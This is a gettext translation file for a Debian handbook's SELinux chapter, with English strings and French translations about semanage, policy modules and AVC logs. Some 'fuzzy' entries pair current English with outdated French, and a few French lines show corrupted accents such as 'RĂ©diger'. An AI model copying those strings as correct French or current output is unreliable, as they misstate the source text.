msgid "<command>semanage login -l</command> lists the current mapping between user identifiers and SELinux identities. Users that have no explicit entry get the identity indicated in the <literal>__default__</literal> entry. The <command>semanage login -a -s user_u <replaceable>user</replaceable></command> command will associate the <emphasis>user_u</emphasis> identity to the given user. Finally, <command>semanage login -d <replaceable>user</replaceable></command> drops the mapping entry assigned to this user."
msgstr "<command>semanage login -l</command> liste les correspondances existantes entre identifiants d'utilisateurs et identités SELinux. Si un utilisateur n'a pas de correspondance explicite, il aura l'identité indiquée en face de <literal>__default__</literal>. La commande <command>semanage login -a -s user_u <replaceable>utilisateur</replaceable></command> va associer l'identité <emphasis>user_u</emphasis> à l'utilisateur. Enfin, <command>semanage login -d <replaceable>utilisateur</replaceable></command> va retirer la correspondance affectée à l'utilisateur."

#, fuzzy
#| msgid ""
#| "<computeroutput># </computeroutput><userinput>semanage login -a -s user_u rhertzog</userinput>\n"
#| "<computeroutput># </computeroutput><userinput>semanage login -l</userinput>\n"
#| "<computeroutput>\n"
#| "Login Name           SELinux User         MLS/MCS Range        Service\n"
#| "\n"
#| "__default__          unconfined_u         SystemLow-SystemHigh *\n"
#| "rhertzog             user_u               SystemLow            *\n"
#| "root                 unconfined_u         SystemLow-SystemHigh *\n"
#| "system_u             system_u             SystemLow-SystemHigh *\n"
#| "# </computeroutput><userinput>semanage login -d rhertzog</userinput> "
msgid ""
"<computeroutput># </computeroutput><userinput>semanage login -a -s user_u rhertzog</userinput>\n"
"<computeroutput># </computeroutput><userinput>semanage login -l</userinput>\n"
"<computeroutput>\n"
"Login Name           SELinux User         MLS/MCS Range        Service\n"
"\n"
"__default__          unconfined_u         s0-s0:c0.c1023       *\n"
"rhertzog             user_u               s0                   *\n"
"root                 unconfined_u         s0-s0:c0.c1023       *\n"
"# </computeroutput><userinput>semanage login -d rhertzog</userinput>"
msgstr ""
"<computeroutput># </computeroutput><userinput>semanage login -a -s user_u rhertzog</userinput>\n"
"<computeroutput># </computeroutput><userinput>semanage login -l</userinput>\n"
"<computeroutput>\n"
"Login Name           SELinux User         MLS/MCS Range        Service\n"
"\n"
"__default__          unconfined_u         SystemLow-SystemHigh *\n"
"rhertzog             user_u               SystemLow            *\n"
"root                 unconfined_u         SystemLow-SystemHigh *\n"
"system_u             system_u             SystemLow-SystemHigh *\n"
"# </computeroutput><userinput>semanage login -d rhertzog</userinput> "

msgid "<command>semanage user -l</command> lists the mapping between SELinux user identities and allowed roles. Adding a new identity requires to define both the corresponding roles and a labeling prefix which is used to assign a type to personal files (<filename>/home/<replaceable>user</replaceable>/*</filename>). The prefix must be picked among <literal>user</literal>, <literal>staff</literal>, and <literal>sysadm</literal>. The “<literal>staff</literal>” prefix results in files of type “<literal>staff_home_dir_t</literal>”. Creating a new SELinux user identity is done with <command>semanage user -a -R <replaceable>roles</replaceable> -P <replaceable>prefix</replaceable> <replaceable>identity</replaceable></command>. Finally, you can remove an SELinux user identity with <command>semanage user -d <replaceable>identity</replaceable></command>."
msgstr "<command>semanage user -l</command> liste les correspondances entre identité SELinux et rôles possibles. Ajouter une nouvelle identité nécessite de préciser d'une part les rôles correspondants et d'autre part, un préfixe d'étiquetage qui définira le type affecté aux fichiers personnels (<filename>/home/<replaceable>utilisateur</replaceable>/*</filename>). Le préfixe est à choisir entre <literal>user</literal>, <literal>staff</literal> et <literal>sysadm</literal>. Un préfixe « <literal>staff</literal> » donnera des fichiers typés <literal>staff_home_dir_t</literal>. La commande créant une identité est <command>semanage user -a -R <replaceable>rôles</replaceable> -P <replaceable>préfixe</replaceable> <replaceable>identité</replaceable></command>. Enfin, une identité peut être supprimée avec <command>semanage user -d <replaceable>identité</replaceable></command>."

#, fuzzy
#| msgid ""
#| "<computeroutput># </computeroutput><userinput>semanage user -a -R 'staff_r user_r' -P staff test_u</userinput>\n"
#| "<computeroutput># </computeroutput><userinput>semanage user -l</userinput>\n"
#| "<computeroutput>\n"
#| "                Labeling   MLS/       MLS/                          \n"
#| "SELinux User    Prefix     MCS Level  MCS Range             SELinux Roles\n"
#| "\n"
#| "root            sysadm     SystemLow  SystemLow-SystemHigh  staff_r sysadm_r system_r\n"
#| "staff_u         staff      SystemLow  SystemLow-SystemHigh  staff_r sysadm_r\n"
#| "sysadm_u        sysadm     SystemLow  SystemLow-SystemHigh  sysadm_r\n"
#| "system_u        user       SystemLow  SystemLow-SystemHigh  system_r\n"
#| "test_u          staff      SystemLow  SystemLow             staff_r user_r\n"
#| "unconfined_u    unconfined SystemLow  SystemLow-SystemHigh  system_r unconfined_r\n"
#| "user_u          user       SystemLow  SystemLow             user_r\n"
#| "# </computeroutput><userinput>semanage user -d test_u</userinput>"
msgid ""
"<computeroutput># </computeroutput><userinput>semanage user -a -R 'staff_r user_r' -P staff test_u</userinput>\n"
"<computeroutput># </computeroutput><userinput>semanage user -l</userinput>\n"
"<computeroutput>\n"
"                Labeling   MLS/       MLS/                          \n"
"SELinux User    Prefix     MCS Level  MCS Range                      SELinux Roles\n"
"\n"
"root            sysadm     s0         s0-s0:c0.c1023                 staff_r sysadm_r system_r\n"
"staff_u         staff      s0         s0-s0:c0.c1023                 staff_r sysadm_r\n"
"sysadm_u        sysadm     s0         s0-s0:c0.c1023                 sysadm_r\n"
"system_u        user       s0         s0-s0:c0.c1023                 system_r\n"
"test_u          staff      s0         s0                             staff_r user_r\n"
"unconfined_u    unconfined s0         s0-s0:c0.c1023                 system_r unconfined_r\n"
"user_u          user       s0         s0                             user_r\n"
"# </computeroutput><userinput>semanage user -d test_u</userinput>"
msgstr ""
"<computeroutput># </computeroutput><userinput>semanage user -a -R 'staff_r user_r' -P staff test_u</userinput>\n"
"<computeroutput># </computeroutput><userinput>semanage user -l</userinput>\n"
"<computeroutput>\n"
"                Labeling   MLS/       MLS/                          \n"
"SELinux User    Prefix     MCS Level  MCS Range             SELinux Roles\n"
"\n"
"root            sysadm     SystemLow  SystemLow-SystemHigh  staff_r sysadm_r system_r\n"
"staff_u         staff      SystemLow  SystemLow-SystemHigh  staff_r sysadm_r\n"
"sysadm_u        sysadm     SystemLow  SystemLow-SystemHigh  sysadm_r\n"
"system_u        user       SystemLow  SystemLow-SystemHigh  system_r\n"
"test_u          staff      SystemLow  SystemLow             staff_r user_r\n"
"unconfined_u    unconfined SystemLow  SystemLow-SystemHigh  system_r unconfined_r\n"
"user_u          user       SystemLow  SystemLow             user_r\n"
"# </computeroutput><userinput>semanage user -d test_u</userinput>"

msgid "Managing File Contexts, Ports and Booleans"
msgstr "Gestion des contextes de fichiers, des ports et des booléens"

msgid "Each SELinux module provides a set of file labeling rules, but it is also possible to add custom labeling rules to cater to a specific case. For example, if you want the web server to be able to read files within the <filename>/srv/www/</filename> file hierarchy, you could execute <command>semanage fcontext -a -t httpd_sys_content_t \"/srv/www(/.*)?\"</command> followed by <command>restorecon -R /srv/www/</command>. The former command registers the new labeling rules and the latter resets the file types according to the current labeling rules."
msgstr "Chaque module SELinux fournit un ensemble de règles d'étiquetage des fichiers, mais il est également possible de rajouter des règles d'étiquetage spécifiques afin de les adapter à un cas particulier. Ainsi, pour rendre toute l'arborescence <filename>/srv/www/</filename> accessible au serveur web, on pourrait exécuter <command>semanage fcontext -a -t httpd_sys_content_t \"/srv/www(/.*)?\"</command>, puis <command>restorecon -R /srv/www/</command>. La première commande enregistre la nouvelle règle d'étiquetage et la seconde restaure les bonnes étiquettes en fonction des règles enregistrées."

msgid "Similarly, TCP/UDP ports are labeled in a way that ensures that only the corresponding daemons can listen to them. For instance, if you want the web server to be able to listen on port 8080, you should run <command>semanage port -m -t http_port_t -p tcp 8080</command>."
msgstr "D'une manière similaire, les ports TCP/UDP sont étiquetés afin que seuls les démons correspondants puissent y écouter. Ainsi, si l'on veut que le serveur web puisse également écouter sur le port 8 080, il faut exécuter la commande <command>semanage port -m -t http_port_t -p tcp 8080</command>."

msgid "Some SELinux modules export boolean options that you can tweak to alter the behavior of the default rules. The <command>getsebool</command> utility can be used to inspect those options (<command>getsebool <replaceable>boolean</replaceable></command> displays one option, and <command>getsebool -a</command> them all). The <command>setsebool <replaceable>boolean</replaceable> <replaceable>value</replaceable></command> command changes the current value of a boolean option. The <literal>-P</literal> option makes the change permanent, it means that the new value becomes the default and will be kept across reboots. The example below grants web servers an access to home directories (this is useful when users have personal websites in <filename>~/public_html/</filename>)."
msgstr "Les modules SELinux exportent parfois des options booléennes qui influencent le comportement des règles. L'utilitaire <command>getsebool</command> permet de consulter l'état de ces options (<command>getsebool <replaceable>booléen</replaceable></command> affiche une option et <command>getsebool -a</command> les affiche toutes). La commande <command>setsebool <replaceable>booléen</replaceable> <replaceable>valeur</replaceable></command> change la valeur courante d'une option. L'option <literal>-P</literal> rend le changement permanent, autrement dit la nouvelle valeur sera celle par défaut et sera conservée au prochain redémarrage. L'exemple ci-dessous permet au serveur web d'accéder aux répertoires personnels des utilisateurs (utile dans le cas où ils ont des sites web personnels dans <filename>~/public_html/</filename> par exemple)."

#, fuzzy
#| msgid ""
#| "<computeroutput># </computeroutput><userinput>getsebool httpd_enable_homedirs</userinput>\n"
#| "<computeroutput>httpd_enable_homedirs --&gt; off\n"
#| "# </computeroutput><userinput>setsebool -P httpd_enable_homedirs on</userinput>\n"
#| "<computeroutput># </computeroutput><userinput>getsebool httpd_enable_homedirs</userinput> \n"
#| "<computeroutput>httpd_enable_homedirs --&gt; on</computeroutput>"
msgid ""
"<computeroutput># </computeroutput><userinput>getsebool httpd_enable_homedirs</userinput>\n"
"<computeroutput>httpd_enable_homedirs --&gt; off\n"
"# </computeroutput><userinput>setsebool -P httpd_enable_homedirs on</userinput>\n"
"<computeroutput># </computeroutput><userinput>getsebool httpd_enable_homedirs</userinput>\n"
"<computeroutput>httpd_enable_homedirs --&gt; on</computeroutput>"
msgstr ""
"<computeroutput># </computeroutput><userinput>getsebool httpd_enable_homedirs</userinput>\n"
"<computeroutput>httpd_enable_homedirs --&gt; off\n"
"# </computeroutput><userinput>setsebool -P httpd_enable_homedirs on</userinput>\n"
"<computeroutput># </computeroutput><userinput>getsebool httpd_enable_homedirs</userinput> \n"
"<computeroutput>httpd_enable_homedirs --&gt; on</computeroutput>"

msgid "Adapting the Rules"
msgstr "L'adaptation des règles"

msgid "Since the SELinux policy is modular, it might be interesting to develop new modules for (possibly custom) applications that lack them. These new modules will then complete the <emphasis>reference policy</emphasis>."
msgstr "Puisque l'ensemble des règles (que l'on nomme <foreignphrase>policy</foreignphrase>) est modulaire, il peut être intéressant de développer de nouveaux modules pour les applications (éventuellement spécifiques) qui n'en disposent pas encore, ces nouveaux modules venant alors compléter la <foreignphrase>reference policy</foreignphrase>."

msgid "To create new modules, the <emphasis role=\"pkg\">selinux-policy-dev</emphasis> package is required, as well as <emphasis role=\"pkg\">selinux-policy-doc</emphasis>. The latter contains the documentation of the standard rules (<filename>/usr/share/doc/selinux-policy-doc/html/</filename>) and sample files that can be used as templates to create new modules. Install those files and study them more closely:"
msgstr "Le paquet <emphasis role=\"pkg\">selinux-policy-dev</emphasis> sera nécessaire, ainsi que <emphasis role=\"pkg\">selinux-policy-doc</emphasis>. Ce dernier contient la documentation des règles standards (<filename>/usr/share/doc/selinux-policy-doc/html/</filename>) et des fichiers exemples permettant de créer de nouveaux modules. Installons ces fichiers pour les étudier de plus près :"

msgid ""
"<computeroutput>$ </computeroutput><userinput>cp /usr/share/doc/selinux-policy-doc/Makefile.example Makefile</userinput>\n"
"<computeroutput>$ </computeroutput><userinput>cp /usr/share/doc/selinux-policy-doc/example.fc ./</userinput>\n"
"<computeroutput>$ </computeroutput><userinput>cp /usr/share/doc/selinux-policy-doc/example.if ./</userinput>\n"
"<computeroutput>$ </computeroutput><userinput>cp /usr/share/doc/selinux-policy-doc/example.te ./</userinput>"
msgstr ""
"<computeroutput>$ </computeroutput><userinput>cp /usr/share/doc/selinux-policy-doc/Makefile.example Makefile</userinput>\n"
"<computeroutput>$ </computeroutput><userinput>cp /usr/share/doc/selinux-policy-doc/example.fc ./</userinput>\n"
"<computeroutput>$ </computeroutput><userinput>cp /usr/share/doc/selinux-policy-doc/example.if ./</userinput>\n"
"<computeroutput>$ </computeroutput><userinput>cp /usr/share/doc/selinux-policy-doc/example.te ./</userinput>"

msgid "The <filename>.te</filename> file is the most important one. It defines the rules. The <filename>.fc</filename> file defines the “file contexts”, that is the types assigned to files related to this module. The data within the <filename>.fc</filename> file are used during the file labeling step. Finally, the <filename>.if</filename> file defines the interface of the module: it is a set of “public functions” that other modules can use to properly interact with the module that you're creating."
msgstr "Le fichier <filename>.te</filename> est le plus important : il définit les règles à proprement parler. Le fichier <filename>.fc</filename> définit les « contextes des fichiers », autrement dit les types affectés aux fichiers relatifs à ce module. Les informations du <filename>.fc</filename> sont utilisées lors de l'étiquetage des fichiers sur le disque. Enfin, le fichier <filename>.if</filename> définit l'interface du module ; il s'agit d'un ensemble de « fonctions publiques » qui permettent à d'autres modules de s'interfacer proprement avec celui en cours de création."

msgid "Writing a <filename>.fc</filename> file"
msgstr "RĂ©diger un fichier <filename>.fc</filename>"

msgid "Reading the below example should be sufficient to understand the structure of such a file. You can use regular expressions to assign the same security context to multiple files, or even an entire directory tree."
msgstr "La lecture de l'exemple qui suit suffit Ă  comprendre la structure d'un tel fichier. Il est possible d'employer une expression rationnelle pour affecter le mĂŞme contexte Ă  plusieurs fichiers, voire Ă  toute une arborescence."

msgid "<filename>example.fc</filename> file"
msgstr "Fichier <filename>example.fc</filename>"

msgid ""
"# myapp executable will have:\n"
"# label: system_u:object_r:myapp_exec_t\n"
"# MLS sensitivity: s0\n"
"# MCS categories: &lt;none&gt;\n"
"\n"
"/usr/sbin/myapp         --      gen_context(system_u:object_r:myapp_exec_t,s0)"
msgstr ""
"# myapp executable will have:\n"
"# label: system_u:object_r:myapp_exec_t\n"
"# MLS sensitivity: s0\n"
"# MCS categories: &lt;none&gt;\n"
"\n"
"/usr/sbin/myapp         --      gen_context(system_u:object_r:myapp_exec_t,s0)"

msgid "Writing a <filename>.if</filename> File"
msgstr "RĂ©diger un fichier <filename>.if</filename>"

msgid "In the sample below, the first interface (“<literal>myapp_domtrans</literal>”) controls who can execute the application. The second one (“<literal>myapp_read_log</literal>”) grants read rights on the application's log files."
msgstr "Dans l'exemple suivant, la première interface (<literal>myapp_domtrans</literal>) sert à contrôler qui a le droit d'exécuter l'application et la seconde (<literal>myapp_read_log</literal>) fournit un droit de lecture sur les fichiers de logs de l'application."

msgid "Each interface must generate a valid set of rules which can be embedded in a <filename>.te</filename> file. You should thus declare all the types that you use (with the <literal>gen_require</literal> macro), and use standard directives to grant rights. Note, however, that you can use interfaces provided by other modules. The next section will give more explanations about how to express those rights."
msgstr "Chaque interface doit générer un ensemble correct de règles comme s'il était directement placé dans un fichier <filename>.te</filename>. Il faut donc déclarer tous les types employés (avec la macro <literal>gen_require</literal>) et employer les directives standards pour attribuer des droits. Notons toutefois qu'il est possible d'employer des interfaces fournies par d'autres modules. La prochaine section en dévoilera plus sur la manière d'exprimer ces droits."

msgid "<filename>example.if</filename> File"
msgstr "Fichier <filename>example.if</filename>"

msgid ""
"## &lt;summary&gt;Myapp example policy&lt;/summary&gt;\n"
"## &lt;desc&gt;\n"
"##      &lt;p&gt;\n"
"##              More descriptive text about myapp.  The &lt;desc&gt;\n"
"##              tag can also use &lt;p&gt;, &lt;ul&gt;, and &lt;ol&gt;\n"
"##              html tags for formatting.\n"
"##      &lt;/p&gt;\n"
"##      &lt;p&gt;\n"
"##              This policy supports the following myapp features:\n"
"##              &lt;ul&gt;\n"
"##              &lt;li&gt;Feature A&lt;/li&gt;\n"
"##              &lt;li&gt;Feature B&lt;/li&gt;\n"
"##              &lt;li&gt;Feature C&lt;/li&gt;\n"
"##              &lt;/ul&gt;\n"
"##      &lt;/p&gt;\n"
"## &lt;/desc&gt;\n"
"#\n"
"\n"
"########################################\n"
"## &lt;summary&gt;\n"
"##      Execute a domain transition to run myapp.\n"
"## &lt;/summary&gt;\n"
"## &lt;param name=\"domain\"&gt;\n"
"##      Domain allowed to transition.\n"
"## &lt;/param&gt;\n"
"#\n"
"interface(`myapp_domtrans',`\n"
"        gen_require(`\n"
"                type myapp_t, myapp_exec_t;\n"
"        ')\n"
"\n"
"        domtrans_pattern($1,myapp_exec_t,myapp_t)\n"
"')\n"
"\n"
"########################################\n"
"## &lt;summary&gt;\n"
"##      Read myapp log files.\n"
"## &lt;/summary&gt;\n"
"## &lt;param name=\"domain\"&gt;\n"
"##      Domain allowed to read the log files.\n"
"## &lt;/param&gt;\n"
"#\n"
"interface(`myapp_read_log',`\n"
"        gen_require(`\n"
"                type myapp_log_t;\n"
"        ')\n"
"\n"
"        logging_search_logs($1)\n"
"        allow $1 myapp_log_t:file r_file_perms;\n"
"')"
msgstr ""
"## &lt;summary&gt;Myapp example policy&lt;/summary&gt;\n"
"## &lt;desc&gt;\n"
"##      &lt;p&gt;\n"
"##              More descriptive text about myapp.  The &lt;desc&gt;\n"
"##              tag can also use &lt;p&gt;, &lt;ul&gt;, and &lt;ol&gt;\n"
"##              html tags for formatting.\n"
"##      &lt;/p&gt;\n"
"##      &lt;p&gt;\n"
"##              This policy supports the following myapp features:\n"
"##              &lt;ul&gt;\n"
"##              &lt;li&gt;Feature A&lt;/li&gt;\n"
"##              &lt;li&gt;Feature B&lt;/li&gt;\n"
"##              &lt;li&gt;Feature C&lt;/li&gt;\n"
"##              &lt;/ul&gt;\n"
"##      &lt;/p&gt;\n"
"## &lt;/desc&gt;\n"
"#\n"
"\n"
"########################################\n"
"## &lt;summary&gt;\n"
"##      Execute a domain transition to run myapp.\n"
"## &lt;/summary&gt;\n"
"## &lt;param name=\"domain\"&gt;\n"
"##      Domain allowed to transition.\n"
"## &lt;/param&gt;\n"
"#\n"
"interface(`myapp_domtrans',`\n"
"        gen_require(`\n"
"                type myapp_t, myapp_exec_t;\n"
"        ')\n"
"\n"
"        domtrans_pattern($1,myapp_exec_t,myapp_t)\n"
"')\n"
"\n"
"########################################\n"
"## &lt;summary&gt;\n"
"##      Read myapp log files.\n"
"## &lt;/summary&gt;\n"
"## &lt;param name=\"domain\"&gt;\n"
"##      Domain allowed to read the log files.\n"
"## &lt;/param&gt;\n"
"#\n"
"interface(`myapp_read_log',`\n"
"        gen_require(`\n"
"                type myapp_log_t;\n"
"        ')\n"
"\n"
"        logging_search_logs($1)\n"
"        allow $1 myapp_log_t:file r_file_perms;\n"
"')"

msgid "<emphasis>DOCUMENTATION</emphasis> Explanations about the <emphasis>reference policy</emphasis>"
msgstr "<emphasis>DOCUMENTATION</emphasis> Explications sur la <foreignphrase>reference policy</foreignphrase>"

#, fuzzy
#| msgid "The <emphasis>reference policy</emphasis> evolves like any free software project: based on volunteer contributions. The project is hosted by Tresys, one of the most active companies in the SELinux field. Their wiki contains explanations on how the rules are structured and how you can create new ones. <ulink type=\"block\" url=\"https://github.com/TresysTechnology/refpolicy/wiki/GettingStarted\" />"
msgid "The <emphasis>reference policy</emphasis> evolves like any free software project: based on volunteer contributions. The project is hosted by Tresys, one of the most active companies in the SELinux field. Their wiki contains explanations on how the rules are structured and how you can create new ones. <ulink type=\"block\" url=\"https://github.com/SELinuxProject/refpolicy/wiki/GettingStarted\" />"
msgstr "La <foreignphrase>reference policy</foreignphrase> évolue comme un projet libre au gré des contributions. Le projet est hébergé sur le site de Tresys, une des sociétés les plus actives autour de SELinux. Leur wiki contient des explications sur la structure des règles et sur la manière d'en créer de nouvelles. <ulink type=\"block\" url=\"https://github.com/TresysTechnology/refpolicy/wiki/GettingStarted\" />"

msgid "Writing a <filename>.te</filename> File"
msgstr "RĂ©diger un fichier <filename>.te</filename>"

msgid "Have a look at the <filename>example.te</filename> file:"
msgstr "Analysons le contenu du fichier <filename>example.te</filename> :"

msgid "<emphasis>GOING FURTHER</emphasis> The <command>m4</command> macro language"
msgstr "<emphasis>POUR ALLER PLUS LOIN</emphasis> Langage de macro <command>m4</command>"

msgid "To properly structure the policy, the SELinux developers used a macro-command processor. Instead of duplicating many similar <emphasis>allow</emphasis> directives, they created “macro functions” to use a higher-level logic, which also results in a much more readable policy."
msgstr "Pour structurer proprement l'ensemble des règles, les développeurs de SELinux se sont appuyés sur un langage de création de macro-commandes. Au lieu de répéter à l'infini des directives <emphasis>allow</emphasis> très similaires, la création de fonctions « macro » permet d'utiliser une logique de plus haut niveau et donc de rendre l'ensemble de règles plus lisible."

msgid "In practice, <command>m4</command> is used to compile those rules. It does the opposite operation: it expands all those high-level directives into a huge database of <emphasis>allow</emphasis> directives."
msgstr "Dans la pratique, la compilation des règles va faire appel à l'outil <command>m4</command> pour effectuer l'opération inverse : à partir des directives de haut niveau, il va reconstituer une grande base de données de directives <emphasis>allow</emphasis>."

msgid "The SELinux “interfaces” are only macro functions which will be substituted by a set of rules at compilation time. Likewise, some rights are in fact sets of rights which are replaced by their values at compilation time."
msgstr "Ainsi, les « interfaces » ne sont rien que des fonctions macro qui vont être remplacées par un ensemble de règles au moment de la compilation. De même, certaines permissions sont en réalité des ensembles de permissions qui sont remplacées par leur valeur au moment de la compilation."

msgid ""
"policy_module(myapp,1.0.0) <co id=\"example.te.module\"></co>\n"
"\n"
"########################################\n"
"#\n"
"# Declarations\n"
"#\n"
"\n"
"type myapp_t; <co id=\"example.te.type\"></co>\n"
"type myapp_exec_t;\n"
"domain_type(myapp_t)\n"
"domain_entry_file(myapp_t, myapp_exec_t) <co id=\"example.te.domain\"></co>\n"
"\n"
"type myapp_log_t;\n"
"logging_log_file(myapp_log_t) <co id=\"example.te.interface\"></co>\n"
"\n"
"type myapp_tmp_t;\n"
"files_tmp_file(myapp_tmp_t)\n"
"\n"
"########################################\n"
"#\n"
"# Myapp local policy\n"
"#\n"
"\n"
"allow myapp_t myapp_log_t:file { read_file_perms append_file_perms }; <co id=\"example.te.allow\"></co>\n"
"\n"
"allow myapp_t myapp_tmp_t:file manage_file_perms;\n"
"files_tmp_filetrans(myapp_t,myapp_tmp_t,file)"
msgstr ""
"policy_module(myapp,1.0.0) <co id=\"example.te.module\"></co>\n"
"\n"
"########################################\n"
"#\n"
"# Declarations\n"
"#\n"
"\n"
"type myapp_t; <co id=\"example.te.type\"></co>\n"
"type myapp_exec_t;\n"
"domain_type(myapp_t)\n"
"domain_entry_file(myapp_t, myapp_exec_t) <co id=\"example.te.domain\"></co>\n"
"\n"
"type myapp_log_t;\n"
"logging_log_file(myapp_log_t) <co id=\"example.te.interface\"></co>\n"
"\n"
"type myapp_tmp_t;\n"
"files_tmp_file(myapp_tmp_t)\n"
"\n"
"########################################\n"
"#\n"
"# Myapp local policy\n"
"#\n"
"\n"
"allow myapp_t myapp_log_t:file { read_file_perms append_file_perms }; <co id=\"example.te.allow\"></co>\n"
"\n"
"allow myapp_t myapp_tmp_t:file manage_file_perms;\n"
"files_tmp_filetrans(myapp_t,myapp_tmp_t,file)"

msgid "The module must be identified by its name and version number. This directive is required."
msgstr "Le module doit être identifié par son nom et par son numéro de version. Cette directive est requise."

msgid "If the module introduces new types, it must declare them with directives like this one. Do not hesitate to create as many types as required rather than granting too many useless rights."
msgstr "Si le module introduit de nouveaux types, il doit les déclarer avec des directives comme celle-ci. Il ne faut pas hésiter à créer autant de types que nécessaires, plutôt que distribuer trop de droits inutiles."

msgid "Those interfaces define the <literal>myapp_t</literal> type as a process domain that should be used by any executable labeled with <literal>myapp_exec_t</literal>. Implicitly, this adds an <literal>exec_type</literal> attribute on those objects, which in turn allows other modules to grant rights to execute those programs: for instance, the <literal>userdomain</literal> module allows processes with domains <literal>user_t</literal>, <literal>staff_t</literal>, and <literal>sysadm_t</literal> to execute them. The domains of other confined applications will not have the rights to execute them, unless the rules grant them similar rights (this is the case, for example, of <command>dpkg</command> with its <literal>dpkg_t</literal> domain)."
msgstr "Ces interfaces précisent que le type <literal>myapp_t</literal> est prévu pour être un domaine de processus et qu'il doit être employé pour tout exécutable étiqueté par <literal>myapp_exec_t</literal>. Implicitement, cela ajoute un attribut <literal>exec_type</literal> sur ces objets. Sa présence permet à d'autres modules de donner le droit d'exécuter ces programmes : ainsi, le module <literal>userdomain</literal> va permettre aux processus de domaine <literal>user_t</literal>, <literal>staff_t</literal> et <literal>sysadm_t</literal> de les exécuter. Les domaines d'autres applications confinées n'auront pas le droit de l'exécuter, sauf si les règles prévoient des droits similaires (c'est le cas par exemple pour <command>dpkg</command> avec le domaine <literal>dpkg_t</literal>)."

#, fuzzy
#| msgid "<literal>logging_log_file</literal> is an interface provided by the reference policy. It indicates that files labeled with the given type are log files which ought to benefit from the associated rules (for example granting rights to <command>logrotate</command> so that it can manipulate them)."
msgid "<literal>logging_log_file</literal> is an interface provided by the reference policy. It indicates that files labeled with the given type are log files which ought to benefit from the associated rules (for example, granting rights to <command>logrotate</command> so that it can manipulate them)."
msgstr "<literal>logging_log_file</literal> est une interface fournie par la <foreignphrase>reference policy</foreignphrase> qui sert à indiquer que les fichiers étiquetés avec le type précisé en paramètre sont des fichiers de logs et doivent bénéficier des droits associés (par exemple ceux permettant à <command>logrotate</command> de les manipuler)."

msgid "The <literal>allow</literal> directive is the base directive used to authorize an operation. The first parameter is the process domain which is allowed to execute the operation. The second one defines the object that a process of the former domain can manipulate. This parameter is of the form “<replaceable>type</replaceable>:<replaceable>class</replaceable>“ where <replaceable>type</replaceable> is its SELinux type and <replaceable>class</replaceable> describes the nature of the object (file, directory, socket, fifo, etc.). Finally, the last parameter describes the permissions (the allowed operations)."
msgstr "La directive <literal>allow</literal> est la directive de base qui permet d'autoriser une opération. Le premier paramètre est le domaine du processus qui sera autorisé à effectuer l'opération. Le second décrit l'objet qu'un processus du domaine aura le droit de manipuler. Ce paramètre prend la forme « <replaceable>type</replaceable>:<replaceable>genre</replaceable> » où <replaceable>type</replaceable> est son type SELinux et où <replaceable>genre</replaceable> décrit la nature de l'objet (fichier, répertoire, socket, fifo, etc.). Enfin, le dernier paramètre décrit les permissions (les opérations qui sont autorisées)."

msgid "Permissions are defined as the set of allowed operations and follow this template: <literal>{ <replaceable>operation1</replaceable> <replaceable>operation2</replaceable> }</literal>. However, you can also use macros representing the most useful permissions. The <filename>/usr/share/selinux/devel/include/support/obj_perm_sets.spt</filename> lists them."
msgstr "Les permissions se définissent comme des ensembles d'opérations autorisées et prennent la forme <literal>{ <replaceable>operation1</replaceable> <replaceable>operation2</replaceable> }</literal>. Il est également possible d'employer des macros qui correspondent aux ensembles de permissions les plus utiles. Le fichier <filename>/usr/share/selinux/devel/include/support/obj_perm_sets.spt</filename> permet de les découvrir."

#, fuzzy
#| msgid "The following web page provides a relatively exhaustive list of object classes, and permissions that can be granted. <ulink type=\"block\" url=\"http://www.selinuxproject.org/page/ObjectClassesPerms\" />"
msgid "The following web page provides a relatively exhaustive list of object classes, and permissions that can be granted. <ulink type=\"block\" url=\"https://selinuxproject.org/page/ObjectClassesPerms\" />"
msgstr "La page web suivante fournit une liste relativement exhaustive des genres d'objet <foreignphrase>(object classes)</foreignphrase> et des permissions que l'on peut accorder : <ulink type=\"block\" url=\"http://www.selinuxproject.org/page/ObjectClassesPerms\" />"

msgid "Now you just have to find the minimal set of rules required to ensure that the target application or service works properly. To achieve this, you should have a good knowledge of how the application works and of what kind of data it manages and/or generates."
msgstr "Il ne reste plus qu'à trouver l'ensemble minimal des règles nécessaires au bon fonctionnement du service ou de l'application ciblé(e) par le module. Pour cela, il est préférable de bien connaître le fonctionnement de l'application et d'avoir une idée claire des flux de données qu'elle gère et/ou génère."

msgid "However, an empirical approach is possible. Once the relevant objects are correctly labeled, you can use the application in permissive mode: the operations that would be forbidden are logged but still succeed. By analyzing the logs, you can now identify the operations to allow. Here is an example of such a log entry:"
msgstr "Toutefois, une approche empirique est possible. Une fois les différents objets impliqués correctement étiquetés, on peut utiliser l'application en mode permissif : les opérations normalement interdites sont tracées mais réussissent tout de même. Il suffit alors d'analyser ces traces pour identifier les opérations qu'il faut autoriser. Voici à quoi peut ressembler une de ces traces :"

msgid "avc:  denied  { read write } for  pid=1876 comm=\"syslogd\" name=\"xconsole\" dev=tmpfs ino=5510 scontext=system_u:system_r:syslogd_t:s0 tcontext=system_u:object_r:device_t:s0 tclass=fifo_file permissive=1"
msgstr "avc:  denied  { read write } for  pid=1876 comm=\"syslogd\" name=\"xconsole\" dev=tmpfs ino=5510 scontext=system_u:system_r:syslogd_t:s0 tcontext=system_u:object_r:device_t:s0 tclass=fifo_file permissive=1"

msgid "To better understand this message, let us study it piece by piece."
msgstr "Pour mieux comprendre ce message, analysons-le bout par bout."

msgid "Analysis of an SELinux trace"
msgstr "Analyse d'une trace SELinux"

msgid "Message"
msgstr "Message"

msgid "Description"
msgstr "Description"

msgid "<computeroutput>avc: denied</computeroutput>"
msgstr "<computeroutput>avc: denied</computeroutput>"

msgid "An operation has been denied."
msgstr "Une opération a été refusée."

msgid "<computeroutput>{ read write }</computeroutput>"
msgstr "<computeroutput>{ read write }</computeroutput>"

msgid "This operation required the <literal>read</literal> and <literal>write</literal> permissions."
msgstr "Cette opération requérait les permissions <literal>read</literal> et <literal>write</literal>."

msgid "<computeroutput>pid=1876</computeroutput>"
msgstr "<computeroutput>pid=1876</computeroutput>"

msgid "The process with PID 1876 executed the operation (or tried to execute it)."
msgstr "Le processus ayant le PID 1876 a exécuté l'opération (ou essayé de l'exécuter)."

msgid "<computeroutput>comm=\"syslogd\"</computeroutput>"
msgstr "<computeroutput>comm=\"syslogd\"</computeroutput>"

msgid "The process was an instance of the <literal>syslogd</literal> program."
msgstr "Le processus Ă©tait une instance de la commande <literal>syslogd</literal>."

msgid "<computeroutput>name=\"xconsole\"</computeroutput>"
msgstr "<computeroutput>name=\"xconsole\"</computeroutput>"

msgid "The target object was named <literal>xconsole</literal>. Sometimes you can also have a “path” variable — with the full path — instead."
